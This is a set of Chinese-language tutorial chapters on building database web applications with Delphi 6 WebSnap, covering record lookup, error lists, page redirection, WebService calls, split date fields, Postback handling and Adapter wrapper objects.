在 網 頁 程 式 中 編 修 資 料 通 常 會 遇 到 一 些 困 難 ， 例 如 資 料 的 預 先 驗 證 或 是 格 式 的 限 定 等 ， 這 些 問 題 目 前 在 WebSnap 中 並 沒 有 太 多 的 支 援 ， 例 如 沒 有 現 成 的 元 件 可 以 把 日 期 拆 成 三 個 輸 入 欄 位 ， 也 不 能 夠 使 用 Client-side Script 來 驗 證 空 欄 位 。 雖 然 你 可 以 利 用 PageProducer 加 上 手 動 調 整 Script 來 達 到 這 個 效 果 ， 但 這 還 是 不 夠 直 覺 。 這 些 問 題 我 會 在 後 面 的 章 節 中 提 出 一 些 解 決 方 法 。 現 在 讓 我 們 繼 續 加 強 我 們 的 範 例 程 式 ， 我 們 希 望 能 讓 使 用 者 使 用 ComboBox 的 方 式 來 選 取 國 家 ， 要 達 到 這 個 效 果 我 們 必 須 在 Data Module 中 加 入 一 個 Country 資 料 庫 ， 接 著 在 Edit Module 加 入 一 個 TDataSetValueList 元 件 連 結 這 個 資 料 庫 。

接 著 我 們 要 設 定 在 DataSetAdapter 中 的 Country 欄 位 的 ValueList 特 性 值 。

完 成 後 開 啟 Visual Page Designer 就 可 以 看 到 Country 已 經 變 成 一 個 ComboBox 了 。

很 簡 單 不 是 嗎 ? 如 果 你 的 資 料 來 源 不 是 資 料 庫 的 話 ， 那 你 可 以 把 TDataSetValueList 換 成 TStringsValueList ， 這 樣 你 就 可 以 自 訂 ComboBox 中 的 Items 了 ， WebSnap 中 有 許 多 的 HTML Control 可 以 選 擇 ， 你 可 以 自 己 試 試 看 。

3-3 、 資 料 搜 尋 及 錯 誤 處 理

在 結 束 這 一 章 之 前 ， 讓 我 們 來 個 練 習 題 ， 你 能 不 能 在 Grid 上 方 加 上 一 個 Edit 與 一 個 按 紐 ， 讓 使 用 者 填 入 CustNo 後 按 下 那 個 按 紐 跳 往 Edit 網 頁 呢 ? 結 合 計 算 機 及 這 一 節 的 範 例 中 的 知 識 應 該 足 夠 你 完 成 這 個 工 作 了 。 至 於 搜 尋 資 料 的 部 份 我 們 可 以 使 用 兩 種 方 式 來 做 ， 一 種 是 直 接 使 用 DataSet ， 另 一 種 是 使 用 TDataSetAdapter 的 Locate Method ， 我 建 議 你 使 用 後 者 :

procedure TGrid.QueryExecute(Sender: TObject; Params: TStrings);

var

LocateParams:TLocateParams;

begin

//use dataset

//wdmData.Table1.Open;

//wdmData.Table1.Locate('CustNo',AdaptEnterCustNo.ActionValue.Values[0],[]);

//use dataset Adapter

LocateParams:=dsAdaptCust.LocateParamsList.Add;

LocateParams.AddParam('CustNo',AdaptEnterCustNo.ActionValue.Values[0]);

LocateParams.AdapterName:=dsAdaptCust.Name;

dsAdaptCust.Locate;

end;

那 當 使 用 者 輸 入 的 資 料 在 資 料 庫 中 找 不 到 時 要 如 何 處 理 呢 ? 你 有 兩 種 選 擇 ， 一 種 是 直 接 引 發 一 個 例 外 ， WebSnap 會 把 例 外 顯 示 在 網 頁 中 :

if not dsAdaptCust.Locate then

raise Exception.Create(' 資 料 不 存 在 !');

另 外 一 種 方 法 是 設 定 Adapter.Errors 特 性 值 來 標 示 失 敗 ， 再 設 定 ActionButton 中 的 ErrorPageName 導 向 特 定 的 網 頁 :

if not dsAdaptCust.Locate then

Adapter1.Errors.AddError(' 資 料 不 存 在 ');

在 檔 案 中 的 範 例 程 式 內 實 作 了 這 兩 種 方 法 ， 你 可 以 按 照 你 的 需 求 來 選 擇 。

3-4 AdapterErrorList 元 件

我 們 也 可 以 利 用 AdapterErrorList 元 件 來 顯 示 錯 誤 資 訊 給 使 用 者 ， 請 在 這 個 Page Module 中 開 啟 Visual Page Designer ， 並 在 AdapterForm1 中 加 入 一 個 AdapterErrorList 元 件 :

接 著 使 用 Move Up 按 紐 將 這 個 元 件 移 到 AdapterForm 的 最 上 層 :

然 後 設 定 她 的 Adapter 為 Adapter1 。

接 著 我 們 就 可 以 來 測 試 一 下 結 果 了 ， 在 做 測 試 之 前 ， 請 將 Query Action 的 OnExecute 事 件 程 式 修 改 成 下 面 的 樣 子 :

procedure TGrid.QueryExecute(Sender: TObject; Params: TStrings);

var

LocateParams:TLocateParams;

begin

//use dataset

{ wdmData.Table1.Open;

wdmData.Table1.Locate('CustNo',AdaptEnterCustNo.ActionValue.Values[0],[]) then} //use dataset Adapter

LocateParams:=dsaCust.LocateParamsList.Add;

LocateParams.AddParam('CustNo',AdaptEnterCustNo.ActionValue.Values[0]);

LocateParams.AdapterName:=dsaCust.Name;

//use exception

{ if not dsaCust.Locate then

raise Exception.Create(' 資 料 不 存 在 !');}

//use errorlist

if not dsaCust.Locate then

Adapter1.Errors.AddError(' 資 料 不 存 在 !');

end;

當 你 輸 入 一 個 不 正 確 的 值 後 ， 你 會 得 到 下 面 這 個 顯 示 畫 面 。

如 果 你 希 望 由 另 一 個 網 頁 來 顯 示 錯 誤 的 話 ， 你 可 以 設 定 這 個 Action 的 ErrorPageName 成 為 該 Error Page 的 名 稱 ， 並 且 在 Error Page 網 頁 中 加 入 AdapterForm-AdapterErrorList ， 接 著 設 定 AdapterErrorList 為 Adapter1 即 可 。

3-5 WebSnap 中 的 網 頁 重 導 功 能

這 一 節 我 們 討 論 了 如 何 在 WebSnap 中 處 理 資 料 庫 ， 如 何 以 CSS 改 變 網 頁 的 外 觀 ， 及 如 何 處 理 錯 誤 與 操 作 TDataSetAdapter 。 你 應 該 注 意 到 我 使 用 了 兩 個 不 同 的 TDataSetAdapter 來 連 結 同 一 個 DataSet ， 這 樣 做 的 目 的 是 我 們 以 後 還 可 以 將 Edit 網 頁 修 改 成 不 單 單 只 有 Apply 功 能 的 完 整 編 修 網 頁 。 如 果 你 的 目 的 只 是 要 讓 使 用 者 只 使 用 Apply 功 能 的 話 ， 那 你 可 以 將 TDataSetAdapter 放 至 在 WebDataModule 中 或 是 Grid Page Module 中 ， 並 在 Edit Module 的 BeforeDispatcher 事 件 中 判 別 使 用 者 是 直 接 進 入 這 個 網 頁 或 是 經 由 Grid Page Module 中 的 Action 進 入 的 。 如 果 是 直 接 進 入 的 話 ， 將 使 用 者 導 回 Grid 網 頁 :

uses WebReq, WebCntxt, WebFact, Variants, udmData,AdaptReq,SiteComp;

function Edit: TEdit;

begin

Result := TEdit(WebContext.FindModuleClass(TEdit));

end;

procedure TEdit.WebPageModuleBeforeDispatchPage(Sender: TObject;

const PageName: String; var Handled: Boolean);

procedure RedirectToGrid;

var

Intf1:IPageDispatcher;

AppModule:TObject;

GetAppService:IGetWebAppServices;

AppService:IWebAppServices;

AppComponents:IGetWebAppComponents;

begin

if Supports(WebContext.FindApplicationModule(Self),IGetWebAppServices,GetAppService) then

begin

AppService:=GetAppService.GetWebAppServices;

if Supports(AppService,IGetWebAppComponents,AppComponents) then

begin

Intf1:=AppComponents.GetPageDispatcher;

Intf1.DispatchPageName('Grid',Response,[dpPublished]);

Handled:=True;

end;

end;

end;

var

Intf:IActionFieldValues;

begin

if Supports(WebContext.AdapterRequest,IActionFieldValues,Intf) then

begin

if VarIsEmpty(Intf.ValueOfField('EnterCustNo')) then

RedirectToGrid;

end

else RedirectToGrid;

end;

end;

或 者 是 你 也 可 以 使 用 WebDisp Unit 中 的 這 兩 個 函 式 來 做 轉 向 的 動 作 :

function DispatchPageName(const APageName: string; AResponse: TWebResponse;

AFlags: TDispatchPageFlags): Boolean;

function RedirectToPageName(const APageName: string; AParams: TStrings; AResponse: TWebResponse;

AFlags: TDispatchPageFlags): Boolean;

這 兩 個 函 式 都 能 夠 正 常 的 重 新 導 向 網 頁 ， 最 明 顯 的 差 別 是 使 用 RedirectToPageName 函 式 時 ， 我 們 可 以 將 參 數 值 傳 到 目 標 Page Module 的 DefaultAction 中 ， 再 藉 由 參 數 值 來 做 出 正 確 的 反 應 ， 也 就 是 說 她 會 觸 發 目 標 Page Module 中 的 DefaultAction 事 件 。 DispatchPageName 則 沒 有 ， 從 動 作 的 模 式 上 來 比 較 的 話 ， RedirectToPageName 是 一 個 外 部 動 作 ， 這 個 意 思 是 說 她 是 經 由 瀏 覽 器 來 轉 向 ， DispatchPageName 則 是 一 個 內 部 轉 向 動 作 。 當 你 需 要 單 純 的 轉 向 時 ， 你 可 以 使 用 DispatchPageName ， 當 你 需 要 轉 向 並 觸 發 該 Page Module 中 的 DefaultAction 時 ， 你 可 以 選 擇 RedirectToPageName 。 另 外 如 果 你 轉 向 的 網 頁 不 在 程 式 中 ， 也 就 是 說 是 一 個 URL 時 ， 那 你 可 以 使 用 SafeRedirect ， 這 個 函 式 可 以 在 網 頁 轉 向 後 將 Cookie 送 給 目 標 網 頁 。

本 章 後 記

如 同 在 第 一 節 所 講 的 ， 用 WebSnap 來 開 發 網 頁 資 料 庫 程 式 並 不 困 難 ， 最 重 要 的 是 她 延 續 了 我 們 之 前 開 發 資 料 庫 程 式 的 慨 念 ， 讓 我 們 的 學 習 曲 線 較 為 平 穩 。 當 然 ! 這 一 章 只 是 個 開 始 ， 下 面 我 們 會 陸 續 介 紹 其 它 重 要 的 課 題 。

<第 四 章 、 進 階 資 料 庫 網 頁 設 計>


CSDN_文档中心_Web Application 開 發 利 器 - WebSnap（十）

Web Application 開 發 利 器 - WebSnap!

第 十 章 、 WebService+WebSnap

還 記 得 我 曾 經 說 過 要 與 你 討 論 將 WebService 應 用 在 WebSnap 中 嗎 ? 相 信 你 對 如 何 做 已 經 有 概 念 了 ， 這 很 簡 單 ， 你 只 要 建 立 一 個 新 的 Page Module 在 裡 面 使 用 HTTPRIO 就 可 以 了 :

procedure TWebService.AdaptGoExecute(Sender: TObject; Params: TStrings);

var

URL:string;

begin

if AdaptNewsType.ActionValue.Values[0] = 'DelphiNews' then

URL:=(HTTPRIO1 as IHeadLine).DelphiNews(1)

else if AdaptNewsType.ActionValue.Values[0] = 'CBuilderNews' then

URL:=(HTTPRIO1 as IHeadLine).CBuilderNews(1)

else if AdaptNewsType.ActionValue.Values[0] = 'JBuilderNews' then

URL:=(HTTPRIO1 as IHeadLine).JBuilderNews(1)

else if AdaptNewsType.ActionValue.Values[0] = 'KylixNews' then

URL:=(HTTPRIO1 as IHeadLine).KylixNews(1)

else if AdaptNewsType.ActionValue.Values[0] = 'SoapNews' then

URL:=(HTTPRIO1 as IHeadLine).SoapNews(1)

else if AdaptNewsType.ActionValue.Values[0] = 'BorConNews' then

URL:=(HTTPRIO1 as IHeadLine).BorConNews(1);

Response.Content:=URL;

end;

AdaptGoExecute 是 一 個 Action ， AdaptNewsType 則 是 一 個 AdapterField ， 你 應 該 很 清 楚 如 何 結 合 她 們 ， 範 例 程 式 中 有 這 段 程 式 碼 ， 不 過 我 建 議 你 自 己 試 試 看 。

<第 十 一 章 、 ImageButtonProducer 應 用>


CSDN_文档中心_Web Application 開 發 利 器 - WebSnap（十二）

Web Application 開 發 利 器 - WebSnap!

第 十 二 章 、 DateTime 欄 位 的 拆 解 與 LookupField 、 Postback 技 術

在 撰 寫 資 料 庫 程 式 中 ， 我 們 常 常 需 要 用 到 Lookup Field ， 例 如 當 使 用 者 選 取 了 某 一 個 客 戶 後 ， 帶 出 該 客 戶 的 公 司 名 稱 ， 這 在 一 般 的 Windows 程 式 中 並 不 困 難 ， 但 如 今 我 們 是 身 在 Web Application 中 ， 需 要 考 慮 的 問 題 與 技 術 因 為 Web 的 運 作 方 式 不 同 ， 使 用 的 方 法 也 就 不 同 ， 首 先 是 Lookup ComboBox 的 顯 示 方 式 ， 也 就 是 業 界 俗 稱 的 開 窗 動 作 ， 在 Web Application 中 我 們 可 以 使 用 兩 種 方 式 達 到 同 樣 的 效 果 ， 一 是 直 接 將 內 容 顯 示 於 ComboBox(Select) 中 ， 另 一 種 就 是 開 一 個 新 瀏 覽 視 窗 ， 兩 種 都 有 一 些 優 點 及 缺 點 ， 直 接 將 內 容 顯 示 於 ComboBox 中 我 們 必 須 面 臨 一 個 抉 擇 ， 是 要 將 資 料 全 部 下 載 至 Client 端 ， 然 後 以 HTML+Script 方 式 處 理 ， 還 是 等 使 用 者 選 擇 了 某 一 個 客 戶 後 ， 讓 網 頁 重 新 讀 取 一 次 ， 藉 由 這 個 機 會 我 們 再 將 Lookup 的 資 料 填 入 返 回 的 HTML 中 ， 這 就 是 Postback 技 術 ， 第 一 種 方 式 必 須 視 資 料 量 的 大 小 而 定 ， 如 果 資 料 量 太 大 ， 這 樣 的 處 理 可 是 很 費 時 的 ， 優 點 是 一 旦 傳 輸 完 畢 後 ， 使 用 者 可 以 用 較 快 的 速 度 選 取 資 料 ， Postback 則 是 只 傳 送 必 要 的 資 料 ， 例 如 客 戶 編 號 ， 待 使 用 者 選 取 了 某 個 客 戶 編 號 後 Postback 至 WebServer ， 這 時 我 們 可 以 取 得 使 用 者 所 選 擇 的 客 戶 編 號 ， 進 而 取 得 Lookup 的 資 料 ， 最 後 將 資 料 與 網 頁 整 合 後 傳 回 給 使 用 者 ， 這 種 方 式 的 缺 點 是 你 必 須 要 自 行 處 理 這 之 間 的 動 作 ， 因 為 目 前 的 WebSnap 並 未 明 白 支 援 Postback ， 優 點 是 你 的 資 料 獲 得 較 多 的 保 護 ， 使 用 者 能 看 到 的 只 是 編 號 而 已 ， 同 時 速 度 上 也 比 之 前 的 方 法 有 效 率 ， 在 這 裡 我 使 用 Postback 技 術 ， 這 對 你 來 說 較 實 際 一 點 。

除 了 Lookup 的 問 題 外 ， 我 們 還 有 另 一 個 問 題 ， 那 就 是 日 期 輸 入 的 問 題 ， 其 實 這 個 問 題 並 不 是 很 重 要 ， 因 為 你 只 需 要 提 示 輸 入 的 範 例 ， 讓 使 用 者 了 解 你 的 網 頁 所 需 要 的 正 確 日 期 與 時 間 格 式 即 可 ， 但 是 將 一 個 日 期 拆 解 為 三 個 欄 位 來 輸 入 的 技 術 卻 能 夠 開 啟 你 另 一 扇 運 用 WebSnap 的 窗 ， 因 此 我 將 與 你 討 論 這 個 技 術 。

12-1 一 變 三 ， DateTime 欄 位 拆 解

在 開 始 撰 寫 程 式 之 前 ， 我 們 先 想 想 ， 要 如 何 才 能 將 一 個 DateTime 的 AdapterField 拆 解 為 三 個 欄 位 ？ 首 先 我 們 必 須 要 建 立 三 個 虛 擬 的 AdapterField ， 用 來 儲 存 拆 解 後 的 年 、 月 、 日 三 個 值 ， 接 著 取 代 原 來 的 DateTime 欄 位 顯 示 於 網 頁 上 ， 當 使 用 者 編 修 這 三 個 欄 位 之 後 ， 我 們 必 須 將 這 三 個 欄 位 組 合 後 存 回 原 來 的 AdapterField 中 ， 亦 或 是 直 接 存 回 資 料 庫 之 中 ， 上 面 的 流 程 中 我 們 有 幾 個 關 鍵 必 須 要 先 解 決 ， 我 們 在 那 個 事 件 中 將 原 來 的 DateTime 資 料 解 出 ， 並 存 放 到 這 三 個 虛 擬 AdapterField 之 中 ? 又 在 那 個 事 件 中 將 這 些 值 存 回 資 料 庫 中 ? 第 一 個 問 題 相 信 你 大 慨 有 點 譜 了 ， 就 是 OnGetValue 事 件 ， 我 們 可 以 在 虛 擬 欄 位 中 的 OnGetValue 事 件 將 值 取 出 ， 並 傳 回 給 WebSnap 顯 示 在 網 頁 上 ， 我 們 先 解 決 這 個 問 題 ， 第 一 步 當 然 是 將 這 三 個 虛 擬 AdapterField 加 到 dsaOrders 這 個 DataSetAdapter 中 :

接 著 撰 寫 她 們 的 OnGetValue 事 件 程 式 ， 因 為 我 們 會 常 用 到 解 出 年 、 月 、 日 的 程 式 碼 ， 因 此 我 們 將 她 寫 成 函 式 ， 方 便 使 用 :

TExtractDateTo=(extYear,extMonth,extDay);

TdmData = class(TWebDataModule)

… … … … … … … … … … …

private

procedure ExtractDateToAdapterField(var Value:Variant;

AFullValue:Variant;ExtOption:TExtractDateTo);

… … … … … … … … … … …

procedure TdmData.ExtractDateToAdapterField(var Value:Variant;

AFullValue:Variant;ExtOption:TExtractDateTo);

var

vYear,vMonth,vDay:Word;

begin

DecodeDate(AFullValue,vYear,vMonth,vDay);

case ExtOption of

extYear: Value:=vYear;

extMonth: Value:=vMonth;

extDay: Value:=vDay;

end;

end;

procedure TdmData.AdaptSaleDate_YearGetValue(Sender: TObject;

var Value: Variant);

begin

ExtractDateToAdapterField(Value,AdaptSaleDate.Value,extYear);

end;

procedure TdmData.AdaptSaleDate_MonthGetValue(Sender: TObject;

var Value: Variant);

begin

ExtractDateToAdapterField(Value,AdaptSaleDate.Value,extMonth);

end;

procedure TdmData.AdaptSaleDate_DayGetValue(Sender: TObject;

var Value: Variant);

begin

ExtractDateToAdapterField(Value,AdaptSaleDate.Value,extDay);

end;

完 成 後 我 們 就 開 始 設 計 編 修 資 料 的 網 頁 ， 請 在 專 案 中 新 增 一 個 Page Module ， 將 她 命 名 為 Edit ， 接 著 當 然 是 uses dmData 與 Home 這 兩 個 Module ， 並 將 標 題 圖 形 與 導 覽 列 加 入 ， 再 開 啟 Visual Page Designer ， 這 裡 我 們 照 樣 加 入 兩 個 AdapterForm ， 一 個 是 顯 示 標 題 圖 形 與 導 覽 列 ， 另 一 個 則 是 讓 使 用 者 編 修 資 料 用 ， 這 裡 我 們 使 用 LayoutGroup 來 編 排 網 頁 ， 因 此 請 在 AdapterForm2 中 加 入 一 個 AdapterFieldGroup ， 並 將 她 的 Adapter 設 為 dmData.dsaOrders ， 與 設 定 Custom 特 性 為 border= ” 1 ” ， 這 會 讓 這 個 FieldGroup 擁 有 單 框 的 顯 示 樣 式 :

在 AdapterFieldGroup2 下 新 增 一 個 LayoutGroup ， 並 在 他 上 方 按 右 鍵 選 擇 Add Columns ， 並 加 入 OrderNo 及 CustNo 兩 個 欄 位 。

我 們 也 可 以 利 用 LayoutGroup 的 DisplayColumns 特 性 值 來 控 制 這 些 Field 的 排 列 方 式 ， 請 將 她 設 為 2.

接 著 我 們 在 AdapterFieldGroup2 中 加 入 第 二 個 LayoutGroup ， 將 我 們 的 虛 擬 AdapterField 加 入 :

完 成 後 你 會 看 到 這 個 不 太 令 人 滿 意 的 排 列 :

這 可 以 利 用 LayoutGroup 的 DisplayColumns 來 解 決 ， 請 將 LayoutGroup2 的 DisplayColumns 設 為 3 。

接 著 設 定 這 三 個 Field 的 DisplayWidth 、 MaxLength 、 Caption 特 性 值 。

上 圖 中 我 們 將 年 這 個 Field 的 Caption 設 為 SaleDate ， 且 將 DisplayWidth 與 MaxLength 都 設 為 4 ， 這 可 以 控 制 使 用 者 可 輸 入 的 字 串 長 度 ， 接 著 將 月 日 這 兩 個 Field 的 Caption 清 空 ， 並 設 定 DisplayWidth 、 MaxLength 為 2 。

接 著 加 入 一 個 AdapterCommandGroup 到 AdapterForm2 中 ， 把 她 的 DisplayComponents 特 性 值 設 為 AdapterFieldGroup2 ， 並 且 加 入 Apply 、 Cancel 這 兩 個 Action 。

OK! 這 樣 就 算 是 完 成 編 修 資 料 的 網 頁 了 ， 接 著 我 們 要 回 到 Grid Module 中 ， 在 每 一 筆 資 料 的 最 後 加 入 一 個 Edit Action ， 讓 使 用 者 可 以 經 由 這 個 Action 到 達 編 修 資 料 的 網 頁 。

我 使 用 了 Hyperlink 的 方 式 來 顯 示 這 個 Edit Action ， 你 可 以 經 由 設 定 cmdEditRow 的 DisplayType 來 調 整 顯 示 Action 的 樣 式 ， 除 了 這 個 特 性 之 外 ， 我 們 還 要 設 定 她 的 PageName 特 性 為 Edit ， 這 樣 就 可 以 在 使 用 者 點 選 這 個 Action 後 導 向 我 們 的 編 修 網 頁 .

不 錯 吧 ， 我 們 成 功 的 將 一 個 欄 位 拆 解 成 三 個 欄 位 來 顯 示 了 ， 這 很 有 用 不 是 嗎 ? 相 信 你 一 定 會 從 這 個 範 例 中 得 到 許 多 其 它 的 運 用 ， 而 不 只 侷 限 在 日 期 輸 入 之 中 。 接 下 來 我 們 繼 續 處 理 編 修 後 的 儲 存 動 作 ， 我 們 可 以 在 這 些 虛 擬 的 AdapterField 的 OnUpdateValue 事 件 中 處 理 這 個 問 題 :

private

… … … … … … …

procedure UpdatePartDate(AField:TDataSetAdapterField;AYear,AMonth,ADay:TAdapterField);

… … … … … … … … …

procedure TdmData.UpdatePartDate(AField:TDataSetAdapterField;AYear,AMonth,ADay:TAdapterField);

var

Year,Month,Day:Word;

begin

DecodeDate(AField.Value,Year,Month,Day);

if Assigned(AYear.ActionValue) then

Year:=AYear.ActionValue.Values[0];

if Assigned(AMonth.ActionValue) then

Month:=AMonth.ActionValue.Values[0];

if Assigned(ADay.ActionValue) then

Day:=ADay.ActionValue.Values[0];

if (EncodeDate(Year,Month,Day) <> dsaOrders.DataSet.FieldByName(AField.FieldName).AsDateTime) then

dsaOrders.DataSet.FieldByName(AField.FieldName).AsDateTime:=

EncodeDate(Year,Month,Day);

end;

procedure TdmData.AdaptSaleDate_YearUpdateValue(Sender: TObject;

Value: Variant);

begin

UpdatePartDate(AdaptSaleDate,AdaptSaleDate_Year,AdaptSaleDate_Month,

AdaptSaleDate_Day);

end;

嘿 ! 我 沒 寫 錯 ， 我 只 寫 了 一 個 AdaptSaleDate_Year.OnUpdateValue 函 式 ， 那 這 樣 可 以 更 新 三 個 欄 位 嗎 ? 如 果 使 用 者 只 修 改 了 月 怎 麼 辦 ? 這 牽 扯 到 WebSnap 如 何 判 定 使 用 者 是 否 修 改 了 網 頁 中 的 資 料 ， 其 實 很 簡 單 ， 她 只 需 要 將 ActionValue 中 的 值 與 現 行 的 值 做 比 對 ， 當 其 中 有 一 個 值 不 同 時 ， 就 會 進 行 Update 的 動 作 ， 這 也 就 是 說 當 網 頁 中 的 值 被 改 變 ， 並 且 執 行 了 Apply Action 時 ， WebSnap 會 進 行 現 行 值 與 ActionValue 的 比 對 動 作 ， 當 有 一 個 值 不 同 時 ， 就 進 行 Update 的 動 作 ， 而 且 會 呼 叫 所 有 的 AdapterField 中 的 OnUpdateValue 事 件 ， 這 也 是 我 為 何 可 以 只 寫 一 個 事 件 就 可 以 Update 3 個 欄 位 的 原 因 ， 諸 如 此 類 的 小 陷 阱 在 WebSnap 中 到 處 都 是 ， 懂 得 利 用 她 們 的 話 ， 對 程 式 的 效 率 會 有 相 當 大 的 幫 助 。

12-2 Postback 技 術

接 下 來 我 們 將 介 紹 如 何 在 WebSnap 中 運 用 Postback 技 術 ， 這 個 技 術 可 以 讓 我 們 處 理 Lookup Field 的 問 題 ， 請 你 回 到 DELPHI IDE 中 ， 加 入 兩 個 Table 及 一 個 DataSource 到 Web DataModule 中 ， 並 設 定 她 們 的 TableName 分 別 為 Items( 訂 單 明 細 檔 ) 、 Employee( 員 工 檔 ) ， 將 Items 與 Orders 設 定 為 Master-Detail 關 係 :

然 後 加 入 一 個 DataSetAdapter ， 連 結 至 Items Table ， 並 新 增 一 個 DataSetValueList 連 結 至 Employee Table ， 並 將 她 的 NamedField 設 為 EmpNo:

接 著 開 啟 dsaOrders 的 Fields Designer 加 入 一 個 AdapterField ， 這 是 用 來 顯 示 員 工 名 稱 的 欄 位 :

然 後 選 擇 AdaptEmpNo 這 個 AdapterField ， 將 她 的 ValueList 設 為 dsvlEmployee ( 員 工 資 料 的 DataSetValueList 元 件 ):

完 成 後 我 們 就 可 以 開 始 撰 寫 相 關 的 程 式 碼 ， 我 們 必 須 加 入 一 個 私 有 變 數 到 這 個 Module 中 ， 這 是 為 了 識 別 目 前 的 狀 態 是 否 為 Postback ， 亦 或 是 一 般 情 況 :

private

FIsPostBack:Boolean;

接 著 是 取 得 員 工 名 稱 的 AdaptEmpName.OnGetValue 事 件 :

procedure TdmData.AdaptEmpNameGetValue(Sender: TObject;

var Value: Variant);

var

LocateValue:Integer;

begin

if not tbEmployee.Active then tbEmployee.Open;

if Assigned(AdaptEmpNo.ActionValue) and FIsPostBack then

LocateValue:=AdaptEmpNo.ActionValue.Values[0]

else

LocateValue:=AdaptEmpNo.Value;

if tbEmployee.Locate('EmpNo',LocateValue,[]) then

Value:=tbEmployee.FieldByName('LastName').AsString+' '+

tbEmployee.FieldByName('FirstName').AsString

else

Value:='';

end;

為 了 維 持 Postback 後 的 資 料 ， 我 們 還 要 撰 寫 一 個 事 件 ， 那 就 是 AdaptOrderNo.OnGetValue 事 件 :

procedure TdmData.AdaptOrderNoGetValue(Sender: TObject; Field: TField;

var Value: Variant);

begin

if Assigned(TDataSetAdapterField(Sender).ActionValue) and

FIsPostBack then

Value:=TDataSetAdapterField(Sender).ActionValue.Values[0]

else

Value:=Field.Value;

end;

將 這 個 事 件 設 定 給 AdaptCustNo,AdaptEmpNo,AdaptSaleDate,AdaptOrderNo 這 四 個 AdapterField:

最 後 開 啟 dsaOrders 的 Action Designer 加 入 一 個 AdapterAction ， 並 撰 寫 相 關 的 程 式 碼 就 完 成 了 Postback 的 基 本 功 能 了 :

procedure TdmData.ActionPostBackExecute(Sender: TObject; Params: TStrings);

var

vLocateParams:TLocateParams;

begin

FIsPostBack:=True;

vLocateParams:=dsaOrders.LocateParamsList.Add;

vLocateParams.AdapterName:=dsaOrders.Name;

vLocateParams.AddParam('OrderNo',AdaptOrderNo.ActionValue.Values[0]);

dsaOrders.Locate;

end;

procedure TdmData.ActionPostBackAfterGetResponse(Sender: TObject;

Params: TStrings);

begin

FIsPostBack:=False;

end;

請 開 啟 原 來 的 Edit Module ， 重 新 設 計 網 頁 的 畫 面 ， 將 LayoutGroup2.DisplayColumns 設 成 4 ， 接 著 加 入 EmpNo 、 EmpName 這 兩 個 欄 位 ， 將 EmpName 的 Caption 清 空 ， 並 且 把 ViewMode 設 為 vmDisplay:

然 後 在 AdapterCommandGroup2 中 加 入 我 們 剛 剛 新 增 的 Postback Action:

接 著 把 她 的 DisplayType 特 性 設 成 ctAnchor ， PageName 設 為 Edit:

完 成 後 請 切 到 HTML 這 一 頁 ， 你 會 找 到 下 面 的 這 段 HTML 碼 ， 將 她 複 製 起 來 :

回 到 Browser 頁 ， 選 擇 LayoutGroup1 中 的 EmpNo 欄 位 ， 將 上 面 那 段 碼 貼 到 Custom 特 性 值 中 ， 將 onclick 改 成 onchange:

完 成 後 將 AdapterCommandGroup2 中 的 Postback Action 刪 除 掉 ， 並 在 AdapterPageProducer 上 按 右 鍵 ， 新 增 一 個 AdapterForm ， 這 是 用 來 顯 示 明 細 資 料 用 的 ， 在 她 之 中 新 增 一 個 AdapterGrid ， 連 結 至 dsaItems ( 訂 單 明 細 檔 的 DataSetAdapter):

這 樣 就 完 成 了 Postback 的 技 術 了 ， 執 行 畫 面 如 下 :

在 這 個 技 術 中 我 們 學 到 了 如 何 運 用 Custom 加 入 Client-Side Script ， 並 且 利 用 她 來 完 成 我 們 的 Postback 技 術 ， 這 個 技 術 相 當 有 趣 ， 你 可 以 試 著 將 CustNo 也 改 成 同 樣 的 Select ， 相 信 你 會 得 到 許 多 靈 感 !

本 章 後 記

Postback 技 術 在 撰 寫 資 料 庫 網 頁 中 是 很 重 要 的 ， 幾 乎 是 不 可 缺 的 ， 因 此 你 必 須 多 加 熟 悉 她 ， 上 面 的 程 式 碼 中 我 們 使 用 到 了 Action 的 AfterGetResponse 事 件 ， 並 在 事 件 中 將 Postback 旗 標 清 空 ， 這 個 事 件 會 在 Action 執 行 並 產 生 Response 資 料 後 觸 發 ， 正 好 符 合 我 們 的 需 求 。

<第 十 三 章 、 Adapter 與 Wrapper>


CSDN_文档中心_Web Application 開 發 利 器 - WebSnap（十三）

Web Application 開 發 利 器 - WebSnap!

第 十 三 章 、 Adapter 與 Wrapper

我 們 在 前 面 幾 節 都 稍 稍 的 提 到 Adapter 及 Wrapper 之 間 的 關 係 ， 我 們 都 知 道 ， WebSnap 利 用 Adapters 加 上 Wrapper 來 串 接 Code 與 Script ， 但 是 我 們 一 直 沒 有 真 正 詳 細 的 檢 視 她 們 是 如 何 合 作 ， 特 定 的 Adapter 又 提 供 了 那 一 個 Wrapper ， 這 裡 我 們 就 詳 細 的 討 論 她 們 吧 !

13-1 Wrapper Object 與 Adapter Component

( 圖 :9)

上 圖 中 我 們 可 以 了 解 ， 當 我 們 在 Script 中 下 達 Application.Today.Value 這 個 Script 命 令 時 ， 其 實 我 們 正 在 操 作 一 個 Adapter Wrapper Object ， 藉 由 這 個 Adapter Wrapper Object ， 我 們 可 以 操 作 到 位 於 DELPHI 程 式 中 的 Adapter Component ， 當 Application 這 個 Adapter Wrapper Object 接 到 .Today 這 個 屬 性 要 求 時 ， 她 會 將 動 作 轉 向 至 位 於 DELPHI 程 式 中 的 Adapter Component ， 找 到 Today 這 個 Adapter Field Component ， 然 後 建 立 一 個 Adapter Field Wrapper Object 傳 回 給 Active Script ， 我 們 也 就 可 以 在 Active Script 使 用 這 個 Adapter Field Wrapper Object 來 操 作 位 於 DELPHI 程 式 中 的 Adapter Field Component 取 得 Value 值 了 ， 其 實 所 謂 的 Wrapper Object 就 是 我 們 熟 悉 的 COM 物 件 ， 所 以 我 們 才 能 在 Active Script 中 操 作 她 們 ， 因 此 當 你 完 成 了 一 個 WebSnap 程 式 後 ， 你 要 將 這 些 COM 物 件 安 裝 在 Web-Server 的 電 腦 上 ， 這 樣 才 能 正 常 執 行 WebSnap 程 式 ， DELPHI 6 附 了 一 個 簡 易 的 Windows Installer: InstallShield Express 3.5 ， 你 可 以 在 Delphi6\MergeModules 中 找 到 相 關 的 安 裝 檔 案 。

13-2 Modules(Global)

這 是 全 域 型 的 Wrapper ， 基 本 上 她 是 橋 接 WebContext 中 的 WebModules ， 讓 我 們 可 以 列 出 目 前 程 式 所 有 已 建 立 的 Module ， 或 是 利 用 她 來 取 得 特 定 的 Module ， 當 然 ! 這 個 Module 必 需 是 已 建 立 的 ， 以 下 是 列 出 所 有 已 建 立 的 Modules Script 程 式 :

<%

mdlist=new Enumerator(Modules)

s = ''

for (; !mdlist.atEnd(); mdlist.moveNext())

{

s+='<h3>'+mdlist.item().Name_+'</h3>'

}

